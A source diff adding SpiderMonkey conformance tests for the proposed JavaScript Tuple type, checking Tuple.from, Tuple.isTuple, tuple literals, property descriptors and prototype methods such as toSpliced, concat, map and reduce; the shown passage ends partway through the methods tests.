diff --git a/js/src/tests/non262/Tuple/from/mapfn-throws-exception.js b/js/src/tests/non262/Tuple/from/mapfn-throws-exception.js
new file mode 100644
index 0000000000..fd3d78fb98
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/mapfn-throws-exception.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var array = [2, 4, 8, 16, 32, 64, 128];
+
+function mapFnThrows(value, index, obj) {
+ throw new RangeError();
+}
+
+assertThrowsInstanceOf(function() {
+ Tuple.from(array, mapFnThrows);
+}, RangeError, 'Tuple.from(array, mapFnThrows) throws');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/name.js b/js/src/tests/non262/Tuple/from/name.js
new file mode 100644
index 0000000000..04e23d420d
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/name.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+desc = Object.getOwnPropertyDescriptor(Tuple.from, "name");
+assertEq(desc.value, "from");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/not-a-constructor.js b/js/src/tests/non262/Tuple/from/not-a-constructor.js
new file mode 100644
index 0000000000..9c1318c8b0
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/not-a-constructor.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+assertEq(isConstructor(Tuple.from), false);
+
+assertThrowsInstanceOf(() => {
+ new Tuple.from([]);
+}, TypeError, 'new Tuple.from([]) throws a TypeError exception');
+
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/prop-desc.js b/js/src/tests/non262/Tuple/from/prop-desc.js
new file mode 100644
index 0000000000..60d5575187
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/prop-desc.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var desc = Object.getOwnPropertyDescriptor(Tuple, "from");
+assertEq(desc.value, Tuple.from);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/source-array-boundary.js b/js/src/tests/non262/Tuple/from/source-array-boundary.js
new file mode 100644
index 0000000000..283f47425b
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/source-array-boundary.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var array = [Number.MAX_VALUE, Number.MIN_VALUE, Number.NaN, Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY];
+var arrayIndex = -1;
+
+function mapFn(value, index) {
+ this.arrayIndex++;
+ assertEq(value, array[this.arrayIndex]);
+ assertEq(index, this.arrayIndex);
+ return value;
+}
+
+var t = Tuple.from(array, mapFn, this);
+
+assertEq(t.length, array.length);
+assertEq(t[0], Number.MAX_VALUE);
+assertEq(t[1], Number.MIN_VALUE);
+assertEq(t[2], Number.NaN);
+assertEq(t[3], Number.NEGATIVE_INFINITY);
+assertEq(t[4], Number.POSITIVE_INFINITY);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/source-object-iterator-1.js b/js/src/tests/non262/Tuple/from/source-object-iterator-1.js
new file mode 100644
index 0000000000..65afd950f4
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/source-object-iterator-1.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var array = [2, 4, 8, 16, 32, 64, 128];
+var obj = {
+ [Symbol.iterator]() {
+ return {
+ index: 0,
+ next() {
+ throw new RangeError();
+ },
+ isDone: false,
+ get val() {
+ this.index++;
+ if (this.index > 7) {
+ this.isDone = true;
+ }
+ return 1 << this.index;
+ }
+ };
+ }
+};
+assertThrowsInstanceOf(function() {
+ Tuple.from(obj);
+}, RangeError, 'Tuple.from(obj) throws');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/source-object-length.js b/js/src/tests/non262/Tuple/from/source-object-length.js
new file mode 100644
index 0000000000..3d0c2a0aac
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/source-object-length.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var array = [2, 4, 0, 16];
+var expectedTuple = #[2, 4, undefined, 16];
+var obj = {
+ length: 4,
+ 0: 2,
+ 1: 4,
+ 2: 0,
+ 3: 16
+};
+delete obj[2];
+let t = Tuple.from(obj);
+assertEq(t, expectedTuple);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/source-object-without.js b/js/src/tests/non262/Tuple/from/source-object-without.js
new file mode 100644
index 0000000000..b2d625c5ae
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/source-object-without.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var obj = {
+ 0: 2,
+ 1: 4,
+ 2: 8,
+ 3: 16
+}
+
+var t = Tuple.from(obj);
+assertEq(t.length, 0);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/this-null.js b/js/src/tests/non262/Tuple/from/this-null.js
new file mode 100644
index 0000000000..16f2bfe021
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/this-null.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+// this = null or undefined should not throw
+var result = Tuple.from.call(null, #[]);
+
+assertEq(result, #[]);
+result = Tuple.from.call(undefined, #[]);
+assertEq(result, #[]);
+result = Tuple.from.call({}, #[]);
+assertEq(result, #[]);
+result = Tuple.from.call(5, #[]);
+assertEq(result, #[]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/gc.js b/js/src/tests/non262/Tuple/gc.js
new file mode 100644
index 0000000000..0cf37ad46c
--- /dev/null
+++ b/js/src/tests/non262/Tuple/gc.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+// Test that objects (in this case, closures) containing Tuples are traced properly
+function foo() {
+ var tup = #[1];
+ (() => assertEq(tup, #[1]))();
+}
+
+let n = 1000;
+for (i = 0; i < n; i++) {
+ foo();
+}
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/initializers/6.1.2.1.js b/js/src/tests/non262/Tuple/initializers/6.1.2.1.js
new file mode 100644
index 0000000000..dca7b0f2e3
--- /dev/null
+++ b/js/src/tests/non262/Tuple/initializers/6.1.2.1.js
@@ -0,0 +1,129 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+TupleElementList : AssignmentExpression
+1. Let initResult be the result of evaluating AssignmentExpression.
+2. Let initValue be ? GetValue(initResult).
+3. Return ? AddValueToTupleSequenceList(sequence, value).
+*/
+
+var a = 5;
+var b = 10;
+var arr = [1,2,3,4,5];
+var badArr = [1, new Object(), 3];
+var t = #[a < b ? "x" : "y"];
+assertEq(t, #["x"]);
+
+t = #[0 in arr, 42 in arr, 1 in arr, 100 in arr];
+assertEq(t, #[true, false, true, false]);
+
+t = #[a = 1, b = b * 3];
+assertEq(t, #[1, 30]);
+assertEq(a, 1);
+assertEq(b, 30);
+
+/* 6.1.2.1
+TupleElementList : AssignmentExpression
+ ...
+ 2. Let initValue be ? GetValue(initResult).
+ ...
+ 6.2.4.5 GetValue ( V )
+ The abstract operation GetValue takes argument V. It performs the following steps when called:
+
+ 1. ReturnIfAbrupt(V).
+*/
+let bBefore = b;
+let tBefore = t;
+function f() { throw new RangeError(); }
+assertThrowsInstanceOf(() => t = #[a = 2, f(), b = 3],
+ RangeError, "t = #[a = 2, f(), b = 3] throws");
+assertEq(a, 2);
+assertEq(b, bBefore);
+assertEq(t, tBefore);
+
+/*
+ GetValue
+ ...
+ 3. If IsUnresolvableReference(V) is true, throw a ReferenceError exception.
+*/
+assertThrowsInstanceOf(() => t = #[unbound],
+ ReferenceError, "t = #[unbound] throws");
+assertEq(t, tBefore);
+
+/* 6.1.2.1
+TupleElementList : AssignmentExpression
+ ...
+ 3. Return ? AddValueToTupleSequenceList(sequence, value).
+*/
+assertThrowsInstanceOf(() => t = #[new Object()],
+ TypeError, "Object in Tuple");
+assertEq(t, tBefore);
+assertThrowsInstanceOf(() => t = #[{}],
+ TypeError, "Object in Tuple")
+assertEq(t, tBefore);
+assertThrowsInstanceOf(() => t = #[new String("s")],
+ TypeError, "Object in Tuple")
+assertEq(t, tBefore);
+assertThrowsInstanceOf(() => t = #[[1,2,3]],
+ TypeError, "Object in Tuple")
+assertEq(t, tBefore);
+assertThrowsInstanceOf(() => t = #[function(x) { return x; }],
+ TypeError, "Object in Tuple")
+assertEq(t, tBefore);
+
+/* 6.1.2.1
+
+TupleElementList : SpreadElement
+1. Return the Result of performing TupleSequenceAccumulation for SpreadElement with argument sequence.
+*/
+assertEq(#[...arr], #[1,2,3,4,5]);
+assertThrowsInstanceOf(() => #[...badArr],
+ TypeError, "Object in Tuple");
+
+/*
+TupleElementList : TupleElementList , AssignmentExpression
+1. Perform TupleSequenceAccumulation for TupleElementList with argument sequence.
+2. Let initResult be the result of evaluating AssignmentExpression.
+3. Let initValue be ? GetValue(initResult).
+4. Return ? AddValueToTupleSequenceList(sequence, value).
+*/
+
+assertThrowsInstanceOf(() => t = #[1, a = 5, b = new Object(), 5],
+ TypeError, "Object in Tuple");
+assertEq(t, tBefore);
+
+/* TupleElementList : TupleElementList , SpreadElement
+1. Perform TupleSequenceAccumulation for TupleElementList with argument sequence.
+2. Return the Result of performing TupleSequenceAccumulation for SpreadElement with argument sequence.
+*/
+
+assertEq(#["a", "b", ...arr, "c"], #["a", "b", 1, 2, 3, 4, 5, "c"]);
+assertThrowsInstanceOf(() => t = #["a", "b", ...badArr, "c"],
+ TypeError, "Object in Tuple");
+
+/*
+SpreadElement : ... AssignmentExpression
+1. Let spreadRef be the result of evaluating AssignmentExpression.
+2. Let spreadObj be ? GetValue(spreadRef).
+3. Let iteratorRecord be ? GetIterator(spreadObj).
+4. Repeat,
+a. Let next be ? IteratorStep(iteratorRecord).
+b. If next is false, return sequence.
+c. Let nextValue be ? IteratorValue(next).
+d. Let completion be AddValueToTupleSequenceList(sequence, nextValue).
+e. If completion is an abrupt completion, then
+i. Return IteratorClose(iteratorRecord, completion).
+*/
+/* Step 2 */
+assertThrowsInstanceOf(() => t = #[...unbound],
+ ReferenceError, "t = #[...unbound throws]");
+assertEq(t, tBefore);
+/* Step 3 */
+var notIterable = Symbol('c');
+assertThrowsInstanceOf(() => t = #[...notIterable],
+ TypeError, "t = #[...notIterable] is type error");
+/* TODO -- test other iterator cases */
+
+
+reportCompare(0, 0);
+
+
diff --git a/js/src/tests/non262/Tuple/isTuple/8.2.2.1.js b/js/src/tests/non262/Tuple/isTuple/8.2.2.1.js
new file mode 100644
index 0000000000..9ac63ebc66
--- /dev/null
+++ b/js/src/tests/non262/Tuple/isTuple/8.2.2.1.js
@@ -0,0 +1,54 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.2
+The Tuple constructor:
+...
+has the following properties:
+...
+
+8.2.2.1 Tuple.isTuple ( arg )
+The isTuple function takes one argument arg, and performs the following steps:
+
+1. Return ! IsTuple(arg).
+*/
+
+var Tuple_isTuple = Tuple.isTuple;
+assertEq(typeof Tuple_isTuple, "function");
+
+assertEq(Tuple_isTuple(), false);
+assertEq(Tuple_isTuple(Tuple.prototype), false);
+assertEq(Tuple_isTuple([]), false);
+assertEq(Tuple_isTuple(42), false);
+assertEq(Tuple_isTuple(new Number(-50)), false);
+assertEq(Tuple_isTuple(undefined), false);
+assertEq(Tuple_isTuple(true), false);
+assertEq(Tuple_isTuple(new Boolean(false)), false);
+assertEq(Tuple_isTuple("hello"), false);
+assertEq(Tuple_isTuple(new String("bye")), false);
+assertEq(Tuple_isTuple({}), false);
+assertEq(Tuple_isTuple(null), false);
+assertEq(Tuple_isTuple(new RegExp()), false);
+assertEq(Tuple_isTuple(JSON), false);
+assertEq(Tuple_isTuple(Math), false);
+assertEq(Tuple_isTuple(new Date()), false);
+assertEq(Tuple_isTuple(new SyntaxError()), false);
+var arg;
+function fun() { arg = arguments; }(1, 2, 3);
+assertEq(Tuple_isTuple(arg), false);
+assertEq(Tuple_isTuple(this), false);
+assertEq(Tuple_isTuple(function() {}), false);
+var proto = Tuple.prototype;
+var Con = function() {};
+Con.prototype = proto;
+var child = new Con();
+assertEq(Tuple_isTuple(child), false);
+assertEq(Tuple_isTuple({0: 1, 1: 2, length: 2}), false);
+
+assertEq(Tuple_isTuple.call(1), false);
+assertEq(Tuple_isTuple.call(#[1]), false);
+assertEq(Tuple_isTuple.call(undefined, 1), false);
+assertEq(Tuple_isTuple.call(undefined, undefined), false);
+assertEq(Tuple_isTuple.call(undefined, #[1]), true);
+assertEq(Tuple_isTuple.call(undefined, Object(#[1])), true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/isTuple/descriptor.js b/js/src/tests/non262/Tuple/isTuple/descriptor.js
new file mode 100644
index 0000000000..c6e3965e09
--- /dev/null
+++ b/js/src/tests/non262/Tuple/isTuple/descriptor.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var desc = Object.getOwnPropertyDescriptor(Tuple, "isTuple");
+assertEq(desc.value, Tuple.isTuple);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/isTuple/length.js b/js/src/tests/non262/Tuple/isTuple/length.js
new file mode 100644
index 0000000000..6bad2aa680
--- /dev/null
+++ b/js/src/tests/non262/Tuple/isTuple/length.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+desc = Object.getOwnPropertyDescriptor(Tuple.isTuple, "length");
+assertEq(desc.value, 1);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/isTuple/name.js b/js/src/tests/non262/Tuple/isTuple/name.js
new file mode 100644
index 0000000000..a0c0688543
--- /dev/null
+++ b/js/src/tests/non262/Tuple/isTuple/name.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+desc = Object.getOwnPropertyDescriptor(Tuple.isTuple, "name");
+assertEq(desc.value, "isTuple");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/isTuple/not-a-constructor.js b/js/src/tests/non262/Tuple/isTuple/not-a-constructor.js
new file mode 100644
index 0000000000..c7844a4c83
--- /dev/null
+++ b/js/src/tests/non262/Tuple/isTuple/not-a-constructor.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/* 18 ECMAScript Standard Built-in Objects
+...
+
+ Built-in function objects that are not identified as constructors do not
+ implement the [[Construct]] internal method unless otherwise specified in
+ the description of a particular function.
+*/
+
+assertEq(isConstructor(Tuple.isTuple), false);
+
+assertThrowsInstanceOf(() => new Tuple.isTuple(#[]), TypeError,
+ "new Tuple.isTuple(#[]) throws");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/length-ownproperty.js b/js/src/tests/non262/Tuple/length-ownproperty.js
new file mode 100644
index 0000000000..d79aea4136
--- /dev/null
+++ b/js/src/tests/non262/Tuple/length-ownproperty.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/* Tuples should have a length ownProperty that can't be overridden
+ * This test is expected to fail until the spec change in
+ * https://github.com/tc39/proposal-record-tuple/issues/282 is implemented.
+ */
+
+/*
+var desc = Object.getOwnPropertyDescriptor(#[1,2,3], "length");
+assertEq(desc.value, 3);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+Object.defineProperty(Tuple.prototype, "length", {value: 0});
+desc = Object.getOwnPropertyDescriptor(#[1,2,3], "length");
+assertEq(desc.value, 3);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+*/
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/literal.js b/js/src/tests/non262/Tuple/literal.js
new file mode 100644
index 0000000000..356b5255c3
--- /dev/null
+++ b/js/src/tests/non262/Tuple/literal.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+let tup = #[1, 2, 3];
+
+assertEq(tup.length, 3);
+assertEq(tup[0], 1);
+assertEq(tup[1], 2);
+assertEq(tup[2], 3);
+
+let arr = [3, 4, 5];
+tup = #[1, 2, ...arr, 6, ...arr];
+
+assertEq(tup.length, 9);
+assertEq(tup[0], 1);
+assertEq(tup[1], 2);
+assertEq(tup[2], 3);
+assertEq(tup[3], 4);
+assertEq(tup[4], 5);
+assertEq(tup[5], 6);
+assertEq(tup[6], 3);
+assertEq(tup[7], 4);
+assertEq(tup[8], 5);
+
+tup = #[(() => 1)()];
+
+assertEq(tup.length, 1);
+assertEq(tup[0], 1);
+
+tup = #[];
+assertEq(tup.length, 0);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/methods.js b/js/src/tests/non262/Tuple/methods.js
new file mode 100644
index 0000000000..df21b816f1
--- /dev/null
+++ b/js/src/tests/non262/Tuple/methods.js
@@ -0,0 +1,554 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+let tup = #[1,2,3];
+let tup2 = #[1,2,3];
+let empty = #[];
+
+var tReversed = tup.toReversed();
+assertEq(tReversed, #[3, 2, 1]);
+assertEq(tup, tup2);
+assertEq(#[].toReversed(), #[]);
+
+
+let tup5 = #[42, 1, 5, 0, 333, 10];
+let sorted_result = tup5.toSorted();
+let expected_result = #[0, 1, 10, 333, 42, 5];
+assertEq(sorted_result, expected_result);
+let sorted_result2 = tup5.toSorted((x, y) => y > x);
+let expected_result2 = #[333, 42, 10, 5, 1, 0];
+assertEq(sorted_result2, expected_result2);
+
+assertThrowsInstanceOf(() => tup5.toSorted("monkeys"),
+ TypeError,
+ "invalid Array.prototype.toSorted argument")
+
+/* toSpliced */
+/* examples from:
+ https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice */
+
+function unchanged(t) {
+ assertEq(t, #['angel', 'clown', 'mandarin', 'sturgeon']);
+}
+
+// Remove no elements before index 2, insert "drum"
+let myFish = #['angel', 'clown', 'mandarin', 'sturgeon']
+var myFishSpliced = myFish.toSpliced(2, 0, 'drum')
+unchanged(myFish);
+assertEq(myFishSpliced, #['angel', 'clown', 'drum', 'mandarin', 'sturgeon']);
+
+
+// Remove no elements before index 2, insert "drum" and "guitar"
+myFishSpliced = myFish.toSpliced(2, 0, 'drum', 'guitar');
+unchanged(myFish);
+assertEq(myFishSpliced, #['angel', 'clown', 'drum', 'guitar', 'mandarin', 'sturgeon'])
+
+// Remove 1 element at index 3
+let myFish1 = #['angel', 'clown', 'drum', 'mandarin', 'sturgeon'];
+myFishSpliced = myFish1.toSpliced(3, 1);
+assertEq(myFish1, #['angel', 'clown', 'drum', 'mandarin', 'sturgeon']);
+assertEq(myFishSpliced, #['angel', 'clown', 'drum', 'sturgeon']);
+
+// Remove 1 element at index 2, and insert 'trumpet'
+let myFish2 = #['angel', 'clown', 'drum', 'sturgeon']
+myFishSpliced = myFish2.toSpliced(2, 1, 'trumpet');
+assertEq(myFish2, #['angel', 'clown', 'drum', 'sturgeon']);
+assertEq(myFishSpliced, #['angel', 'clown', 'trumpet', 'sturgeon']);
+
+// Remove 2 elements at index 0, and insert 'parrot', 'anemone', and 'blue'
+let myFish3 = #['angel', 'clown', 'trumpet', 'sturgeon']
+myFishSpliced = myFish3.toSpliced(0, 2, 'parrot', 'anemone', 'blue');
+assertEq(myFish3, #['angel', 'clown', 'trumpet', 'sturgeon']);
+assertEq(myFishSpliced, #['parrot', 'anemone', 'blue', 'trumpet', 'sturgeon']);
+
+// Remove 2 elements, starting at index 2
+let myFish4 = #['parrot', 'anemone', 'blue', 'trumpet', 'sturgeon']
+myFishSpliced = myFish4.toSpliced(2, 2);
+assertEq(myFish4, #['parrot', 'anemone', 'blue', 'trumpet', 'sturgeon']);
+assertEq(myFishSpliced, #['parrot', 'anemone', 'sturgeon']);
+
+// Remove 1 element from index -2
+myFishSpliced = myFish.toSpliced(-2, 1);
+unchanged(myFish);
+assertEq(myFishSpliced, #['angel', 'clown', 'sturgeon']);
+
+// Remove all elements, starting from index 2
+myFishSpliced = myFish.toSpliced(2);
+unchanged(myFish);
+assertEq(myFishSpliced, #['angel', 'clown']);
+
+assertThrowsInstanceOf(() => myFish.toSpliced(1, 0, new Object(42)),
+ TypeError,
+ "Record and Tuple can only contain primitive values");
+
+//******************
+function concatTest(t, expected, ...args) {
+ let result = t.concat(...args);
+ assertEq(result, expected);
+}
+
+let tupConcat = tup.concat(#[4,5,6]);
+assertEq(tup, tup2);
+assertEq(tupConcat, #[1,2,3,4,5,6]);
+
+concatTest(tup, tup, #[]);
+concatTest(empty, tup, #[1,2,3]);
+concatTest(tup, #[1,2,3,1,2,3,4,5,6],1,2,3,4,5,6);
+concatTest(tup, #[1,2,3,1,2,3,4,5,6],1,#[2,3,4],5,6);
+concatTest(tup, #[1,2,3,1,2,3,4],[1,2,3,4]);
+concatTest(tup, #[1,2,3,1,2,3,4,5,6],1,[2,3,4],5,6);
+concatTest(tup, #[1,2,3,1,2,3,4,5,6],[1,2,3],[4,5,6]);
+concatTest(tup, #[1,2,3,1,2,3,4,5,6],#[1,2,3],#[4,5,6]);
+
+// .includes()
+
+assertEq(tup.includes(1), true);
+assertEq(tup.includes(2), true);
+assertEq(tup.includes(3), true);
+assertEq(empty.includes(1), false);
+assertEq(empty.includes(0), false);
+assertEq(empty.includes(0, 1), false);
+assertEq(tup.includes(2, 1), true);
+assertEq(tup.includes(2, 2), false);
+assertEq(tup.includes(2, -1), false);
+assertEq(tup.includes(2, -2), true);
+assertEq(tup.includes(0, Infinity), false);
+assertEq(tup.includes(2, -Infinity), true);
+assertEq(tup.includes(2, undefined), true);
+
+// .indexOf()
+assertEq(tup.indexOf(1), 0);
+assertEq(tup.indexOf(2), 1);
+assertEq(tup.indexOf(3), 2);
+assertEq(empty.indexOf(1), -1);
+assertEq(empty.indexOf(0), -1);
+assertEq(empty.indexOf(0, 1), -1);
+assertEq(tup.indexOf(2, 1), 1);
+assertEq(tup.indexOf(2, 2), -1);
+assertEq(tup.indexOf(2, -1), -1);
+assertEq(tup.indexOf(2, -2), 1);
+assertEq(tup.indexOf(0, Infinity), -1);
+assertEq(tup.indexOf(2, -Infinity), 1);
+assertEq(tup.indexOf(2, undefined), 1);
+
+// .join()
+assertEq(tup.join(), "1,2,3");
+assertEq(tup.join("~"),"1~2~3");
+assertEq(#[1].join(), "1");
+assertEq(empty.join(), "");
+assertEq(#[1,2,undefined,3].join(), "1,2,,3");
+assertEq(#[1,null,2,3].join(), "1,,2,3");
+
+// .lastIndexOf()
+assertEq(tup.lastIndexOf(1), 0);
+assertEq(tup.lastIndexOf(2), 1);
+assertEq(tup.lastIndexOf(3), 2);
+assertEq(empty.lastIndexOf(1), -1);
+assertEq(empty.lastIndexOf(0), -1);
+assertEq(empty.lastIndexOf(0, 1), -1);
+assertEq(tup.lastIndexOf(2, 1), 1);
+assertEq(tup.lastIndexOf(2, 0), -1);
+assertEq(tup.lastIndexOf(2, -3), -1);
+assertEq(tup.lastIndexOf(2, -2), 1);
+assertEq(tup.lastIndexOf(2, -Infinity), -1);
+var duplicates = #[1,2,3,1,3,1,5,6,1,2,10];
+assertEq(duplicates.lastIndexOf(2), 9);
+assertEq(duplicates.lastIndexOf(3, 2), 2);
+assertEq(duplicates.lastIndexOf(3, -7), 4);
+assertEq(duplicates.lastIndexOf(1), 8);
+assertEq(duplicates.lastIndexOf(1, 0), 0);
+assertEq(duplicates.lastIndexOf(1, -5), 5);
+
+// .slice()
+var sliced = empty.slice(2);
+assertEq(empty, #[]);
+assertEq(empty, sliced);
+sliced = empty.slice(2, 3);
+assertEq(empty, sliced);
+sliced = tup.slice(1);
+assertEq(tup, tup2);
+assertEq(sliced, #[2,3]);
+sliced = tup.slice(3);
+assertEq(sliced, #[]);
+sliced = tup.slice(0, 0);
+assertEq(sliced, #[]);
+sliced = tup.slice(0, 1);
+assertEq(sliced, #[1]);
+sliced = tup.slice(0, 3);
+assertEq(sliced, tup);
+
+// .toString()
+assertEq(tup.toString(), "1,2,3");
+assertEq(empty.toString(), "");
+assertEq(#[1].toString(), "1");
+assertEq(myFish.toString(), "angel,clown,mandarin,sturgeon");
+
+// .toLocaleString() -- TODO more tests
+assertEq(tup.toString(), tup.toLocaleString());
+assertEq(empty.toString(), empty.toLocaleString());
+assertEq(myFish.toString(), myFish.toLocaleString());
+
+// .entries()
+var iterator = tup.entries();
+var result;
+result = iterator.next();
+assertEq(result.done, false);
+assertEq(result.value[0], 0);
+assertEq(result.value[1], 1);
+assertEq(result.value.length, 2);
+
+result = iterator.next();
+assertEq(result.done, false);
+assertEq(result.value[0], 1);
+assertEq(result.value[1], 2);
+assertEq(result.value.length, 2);
+
+result = iterator.next();
+assertEq(result.done, false);
+assertEq(result.value[0], 2);
+assertEq(result.value[1], 3);
+assertEq(result.value.length, 2);
+
+result = iterator.next();
+assertEq(result.done, true);
+assertEq(result.value, undefined);
+
+iterator = empty.entries();
+var result1 = iterator.next();
+assertEq(result1.done, true);
+assertEq(result1.value, undefined);
+
+// .every()
+var everyResult = tup.every(x => x < 10);
+assertEq(tup, tup2);
+assertEq(everyResult, true);
+everyResult = tup.every(x => x < 2);
+assertEq(everyResult, false);
+assertEq(true, empty.every(x => a > 100));
+
+assertThrowsInstanceOf(() => tup.every(),
+ TypeError,
+ "missing argument 0 when calling function Tuple.prototype.every");
+
+assertThrowsInstanceOf(() => tup.every("monkeys"),
+ TypeError,
+ "\"monkeys\" is not a function");
+
+// .filter()
+var filtered = tup.filter(x => x % 2 == 1);
+assertEq(tup, tup2);
+assertEq(filtered, #[1,3]);
+assertEq(#[].filter(x => x), #[]);
+
+assertThrowsInstanceOf(() => tup.filter(),
+ TypeError,
+ "missing argument 0 when calling function Tuple.prototype.filter");
+
+assertThrowsInstanceOf(() => tup.filter("monkeys"),
+ TypeError,
+ "\"monkeys\" is not a function");
+
+// .find()
+var findResult = tup.find(x => x > 2);
+assertEq(tup, tup2);
+assertEq(findResult, 3);
+assertEq(#[].find(x => true), undefined);
+
+assertThrowsInstanceOf(() => tup.find(),
+ TypeError,
+ "missing argument 0 when calling function Tuple.prototype.find");
+
+assertThrowsInstanceOf(() => tup.find("monkeys"),
+ TypeError,
+ "\"monkeys\" is not a function");
+
+// .findIndex()
+var findIndexResult = tup.findIndex(x => x > 2);
+assertEq(tup, tup2);
+assertEq(findIndexResult, 2);
+assertEq(#[].findIndex(x => true), -1);
+
+assertThrowsInstanceOf(() => tup.findIndex(),
+ TypeError,
+ "missing argument 0 when calling function Tuple.prototype.find");
+
+assertThrowsInstanceOf(() => tup.findIndex("monkeys"),
+ TypeError,
+ "\"monkeys\" is not a function");
+
+
+// .forEach()
+var a = 0;
+var forEachResult = tup.forEach(x => a += x);
+assertEq(tup, tup2);
+assertEq(forEachResult, undefined);
+assertEq(a, 6);
+
+assertEq(undefined, empty.forEach(x => a += x));
+assertEq(a, 6);
+
+assertThrowsInstanceOf(() => tup.forEach(),
+ TypeError,
+ "missing argument 0 when calling function Tuple.prototype.forEach");
+
+assertThrowsInstanceOf(() => tup.forEach("monkeys"),
+ TypeError,
+ "\"monkeys\" is not a function");
+
+// .keys()
+var iterator = tup.keys();
+var result;
+result = iterator.next();
+assertEq(result.done, false);
+assertEq(result.value, 0);
+
+result = iterator.next();
+assertEq(result.done, false);
+assertEq(result.value, 1);
+
+result = iterator.next();
+assertEq(result.done, false);
+assertEq(result.value, 2);
+
+result = iterator.next();
+assertEq(result.done, true);
+assertEq(result.value, undefined);
+
+iterator = empty.keys();
+var result1 = iterator.next();
+assertEq(result1.done, true);
+assertEq(result1.value, undefined);
+
+// .map()
+var mapResult = tup.map(x => x*x);
+assertEq(tup, tup2);
+assertEq(mapResult, #[1, 4, 9]);
+assertEq(empty, empty.map(x => x*x));
+
+assertThrowsInstanceOf(() => tup.map(x => new Object(x)),
+ TypeError,
+ "Record and Tuple can only contain primitive values");
+
+assertThrowsInstanceOf(() => tup.map("monkeys"),
+ TypeError,
+ "\"monkeys\" is not a function");
+
+// .reduce()
+var add = (previousValue, currentValue, currentIndex, O) =>
+ previousValue + currentValue;
+var reduceResult = tup.reduce(add);
+assertEq(tup, tup2);
+assertEq(reduceResult, 6);
+assertEq(tup.reduce(add, 42), 48);
+assertEq(0, empty.reduce(add, 0));
+
+assertThrowsInstanceOf(() => tup.reduce(),
+ TypeError,
+ "Tuple.prototype.reduce");
+
+assertThrowsInstanceOf(() => tup.reduce("monkeys"),
+ TypeError,
+ "\"monkeys\" is not a function");
+
+assertThrowsInstanceOf(() => empty.reduce(add),
+ TypeError,
+ "reduce of empty tuple with no initial value");
+
+// .reduceRight()
+var sub = (previousValue, currentValue, currentIndex, O) =>
+ previousValue - currentValue;
+var reduceResult = tup.reduceRight(sub);
+assertEq(tup, tup2);
+assertEq(reduceResult, 0);
